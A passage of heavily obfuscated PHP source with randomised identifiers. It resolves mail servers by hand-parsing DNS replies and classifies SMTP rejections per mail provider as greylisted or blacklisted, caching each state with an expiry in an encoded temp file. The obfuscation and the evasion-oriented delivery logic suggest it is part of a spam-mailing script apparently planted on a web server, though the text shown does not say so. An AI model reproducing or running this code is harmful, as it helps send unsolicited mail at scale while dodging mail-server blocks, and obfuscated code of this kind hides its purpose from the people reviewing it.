$cmqqi26 = gnrxk38($j10, $jxykg73, 4086, $bfwyd21, $iiwxg60); if ($cmqqi26 == FALSE || strlen($cmqqi26) < 12) { kdpdr2($j10, $jxykg73); return FALSE; } $iianm65 = unpack("ntid/nflags/nque/nans/nauth/nadd", substr($cmqqi26, 0, 12)); $asmjv88 = 12; $fupzm37 = array( "header" => $iianm65 ); for ($hvyut10 = constant("DNS_STEP_QESTION"); $hvyut10 <= constant("DNS_STEP_ADDITIONAL"); $hvyut10++) { $papxa65 = ''; switch ($hvyut10) { case constant("DNS_STEP_QESTION"): $papxa65 = "que"; break; case constant("DNS_STEP_ANSWER"): $papxa65 = "ans"; break; case constant("DNS_STEP_AUTHORITY"): $papxa65 = "auth"; break; case constant("DNS_STEP_ADDITIONAL"): $papxa65 = "add"; break; } for ($irdlf69 = 0; $irdlf69 < $iianm65[$papxa65]; $irdlf69++) { $wdasj57["name"] = xrpza87($j10, $asmjv88, $cmqqi26); if ($hvyut10 == constant("DNS_STEP_QESTION")) { $wdasj57 = array_merge($wdasj57, unpack("ntype/nclass", substr($cmqqi26, $asmjv88, 4))); $asmjv88 += 4; } else { $wdasj57 = array_merge($wdasj57, unpack("ntype/nclass/Nttl/ndatalength", substr($cmqqi26, $asmjv88, 10))); $asmjv88 += 10; switch ($wdasj57["type"]) { case constant("DNS_TYPE_MX"): $wdasj57 = array_merge($wdasj57, unpack("npreference", substr($cmqqi26, $asmjv88, 2))); $asmjv88 += 2; $wdasj57["data"] = xrpza87($j10, $asmjv88, $cmqqi26); break; case constant("DNS_TYPE_A"): $wdasj57 = array_merge($wdasj57, unpack("Ndata", substr($cmqqi26, $asmjv88, 4))); $asmjv88 += 4; $wdasj57["ip"] = long2ip($wdasj57["data"]); break; case constant("DNS_TYPE_NS"): case constant("DNS_TYPE_PTR"): $wdasj57["data"] = xrpza87($j10, $asmjv88, $cmqqi26); break; default: $asmjv88 += $wdasj57["datalength"]; } } $fupzm37[$papxa65][] = $wdasj57; } } return $fupzm37; } function xrpza87($j10, &$aiioa22, $cmqqi26) { $fupzm37 = ""; $rfcyn72 = $aiioa22; while (ord($cmqqi26[$rfcyn72]) != 0) { if (ord($cmqqi26[$rfcyn72]) == 0xC0) { if ($rfcyn72 >= $aiioa22) { $aiioa22 += 2; } $rfcyn72 = ord($cmqqi26[$rfcyn72 + 1]); continue; } if (strlen($fupzm37) > 0) { $fupzm37 .= '.'; } $fupzm37 .= substr($cmqqi26, $rfcyn72 + 1, ord($cmqqi26[$rfcyn72])); $rfcyn72 += ord($cmqqi26[$rfcyn72]) + 1; if ($rfcyn72 > $aiioa22) { $aiioa22 = $rfcyn72; } } if ($rfcyn72 >= $aiioa22) { $aiioa22 += 1; } return $fupzm37; } function vgrtr3($j10, $lxlvb37) { $fupzm37 = array(); $tnzom13 = bhvcy9($j10, 1); $yqqod27 = clsoa25($j10, $tnzom13) . "session_a029.tmp"; if (!file_exists($yqqod27)) { return $fupzm37; } $uvetn15 = fopen($yqqod27, "r"); $wncii55 = ""; if ($uvetn15) { while ($fnlew47 = fgets($uvetn15)) { $wncii55 .= $fnlew47; } fclose($uvetn15); $tpofs13 = rcptw89($j10, $wncii55); $lutda10 = json_decode($tpofs13, TRUE); if (is_array($lutda10)) { $fupzm37 = array_filter($lutda10, create_function("$x", "return (time(NULL) < $x); ")); } } return $fupzm37; } function eklqy22($j10, $zdhxc3) { $tnzom13 = bhvcy9($j10, 1); $yqqod27 = clsoa25($j10, $tnzom13) . "session_a029.tmp"; if (file_exists($yqqod27)) { unlink($yqqod27); } $uvetn15 = fopen($yqqod27, "w"); if ($uvetn15) { $wncii55 = zdowx44($j10, json_encode($zdhxc3, TRUE)); fwrite($uvetn15, $wncii55); fclose($uvetn15); } return; } function imqjm17($j10, $lerqj48, $uiwvy47, &$zdhxc3) { $ijrku81 = $xgxnu17 = $mgevi59 = ""; if (!qbzer79($j10, $uiwvy47["s_datain"], $ijrku81, $xgxnu17, $mgevi59)) { return ""; } foreach ($lerqj48 as $vosev46 => $phvkc66) { if (preg_match("/" . preg_quote($vosev46) . "$/", $uiwvy47["s_mxhost"])) { if (!empty($phvkc66[$uiwvy47["s_step"]])) { foreach ($phvkc66[$uiwvy47["s_step"]] as $mrimx72 => $zjpkm74) { foreach ($zjpkm74 as $glhpf69) { if (is_array($glhpf69)) { if (!empty($glhpf69[0]) && $glhpf69[0] != $ijrku81) { continue; } if (!empty($glhpf69[1]) && $glhpf69[1] != $xgxnu17) { continue; } if (!empty($glhpf69[2]) && !preg_match("/" . $glhpf69[2] . "/", $mgevi59)) { continue; } } else { if (!preg_match("/" . $glhpf69 . "/", $mgevi59)) { continue; } } if ($mrimx72 == "gl") { $zdhxc3[$vosev46] = time(NULL) + 7200; } if ($mrimx72 == "bl") { $zdhxc3[$vosev46] = time(NULL) + 86400; } return "(" . $mrimx72 . ")"; } } } } } return ""; } function qbzer79($j10, $aypum33, &$ijrku81, &$xgxnu17, &$njmna24) { $ykzbr40 = array(); if (!preg_match("/^([0-9]{3})[ -]([0-9]+\\.[0-9]+\\.[0-9]+[ -])?(.*)/", $aypum33, $ykzbr40)) { return FALSE; } if (empty($ykzbr40[2])) { $ykzbr40[2] = "0.0.0"; } if (count($ykzbr40) != 4) { return FALSE; } $hnuks64 = preg_replace("/[a-zA-Z\\-0-9\\.]+[a-zA-Z]\\[[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\]/", " zzhip ", $ykzbr40[3]); $lgkfw70 = preg_replace("/[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}/", " zzip ", $hnuks64); $iurxa89 = preg_replace("/[A-Za-z0-9\\-\\.\\_]+\\@[A-Za-z0-9\\-\\.]+/", " zzmal ", $lgkfw70); $rjghr66 = preg_replace("/[45][0-9][0-9]\\s/", '', $iurxa89); $zcddp71 = preg_replace("/[^A-Za-z0-9]/", " ", $rjghr66); $widmp4 = preg_replace("/\\s+/", " ", strtolower($zcddp71)); $ijrku81 = trim($ykzbr40[1], " "); $xgxnu17 = trim($ykzbr40[2], " "); $njmna24 = trim($widmp4, " "); return TRUE; } function bhvcy9($j10, $lxlvb37) { if (function_exists("sys_get_temp_dir")) { return sys_get_temp_dir(); } foreach (array( "TMP", "TEMP", "TMPDIR" ) as $vxzpz95) { $oxiwv74 = getenv($vxzpz95); if ($oxiwv74) { return $oxiwv74; } } $oxiwv74 = tempnam(__FILE__, ''); if (file_exists($oxiwv74)) { unlink($oxiwv74); return dirname($oxiwv74); } return FALSE; } function clsoa25($j10, $xmxkd83) { $fupzm37 = preg_replace("/\\\\/", "/", $xmxkd83); if ($fupzm37[strlen($fupzm37) - 1] != "/") { $fupzm37 .= "/"; } return $fupzm37; } function mstfu72($j10, $lerqj48, $uiwvy47) { foreach ($lerqj48 as $vosev46 => $phvkc66) { if (preg_match("/" . preg_quote($vosev46) . "$/", $uiwvy47["s_mxhost"])) { return $vosev46; } } return FALSE; }